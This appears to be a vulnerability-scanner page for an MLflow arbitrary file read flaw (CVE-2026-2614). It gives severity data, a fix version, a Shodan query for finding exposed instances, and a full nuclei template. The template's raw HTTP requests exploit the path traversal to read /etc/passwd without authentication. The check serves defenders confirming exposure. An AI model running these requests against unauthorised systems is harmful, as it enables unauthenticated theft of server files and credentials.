CVE-2026-2614· mlflow / mlflow· CWE-22
MLflow <= 3.9.0 - Arbitrary File Read
highseverity
7.5CVSS score
3.6%likelihood of exploitation, next 30 days
90%of all CVEs are less likely
Readycheck to confirm it
mlflow mlflow <= 3.9.0 contains a path traversal caused by bypassing source path validation via the mlflow.prompt.is_prompt tag in CreateModelVersion request, letting unauthenticated remote attackers read arbitrary files.
Impact
Unauthenticated attackers can read arbitrary files on the server, leading to complete confidentiality compromise.
Fix
Upgrade to version 3.10.0 or later.
How to confirm it
Send: POST /api/2.0/mlflow/registered-models/create ; POST /api/2.0/mlflow/model-versions/create ; GET /model-versions/get-artifact?name={{model}}&version=1&path=passwd
Positive when: matches /root:.*:0:0:/ AND status 200Run it with nuclei: nuclei -id CVE-2026-2614 -u <target>
The full check
id: CVE-2026-2614
info:
name: MLflow <= 3.9.0 - Arbitrary File Read
author: str4k3r
severity: high
description: |
mlflow mlflow <= 3.9.0 contains a path traversal caused by bypassing source path validation via the mlflow.prompt.is_prompt tag in CreateModelVersion request, letting unauthenticated remote attackers read arbitrary files.
impact: |
Unauthenticated attackers can read arbitrary files on the server, leading to complete confidentiality compromise.
remediation: |
Upgrade to version 3.10.0 or later.
reference:
- https://github.com/mlflow/mlflow/security/advisories
- https://github.com/mlflow/mlflow/commit/6e801f4259d96804c73107315b24cef0f6aa115a
- https://huntr.com/bounties/19380271-3fbf-4beb-987e-6fd7069c55e6
- https://nvd.nist.gov/vuln/detail/CVE-2026-2614
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-2614
epss-score: 0.03626
epss-percentile: 0.89624
cwe-id: CWE-22
metadata:
max-request: 3
verified: true
vendor: mlflow
product: mlflow
shodan-query: title:"MLflow"
tags: cve,cve2026,mlflow,lfi,traversal,vkev
variables:
model: "{{to_lower(rand_base(10))}}"
http:
- raw:
- |
POST /api/2.0/mlflow/registered-models/create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"name":"{{model}}"}
- |
POST /api/2.0/mlflow/model-versions/create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"name":"{{model}}","source":"file:///etc/","tags":[{"key":"mlflow.prompt.is_prompt","value":"true"}]}
- |
GET /model-versions/get-artifact?name={{model}}&version=1&path=passwd HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200References
- https://github.com/mlflow/mlflow/security/advisories
- https://github.com/mlflow/mlflow/commit/6e801f4259d96804c73107315b24cef0f6aa115a
- https://huntr.com/bounties/19380271-3fbf-4beb-987e-6fd7069c55e6
- https://nvd.nist.gov/vuln/detail/CVE-2026-2614
Use this check only on systems you are authorised to test. Where the data comes from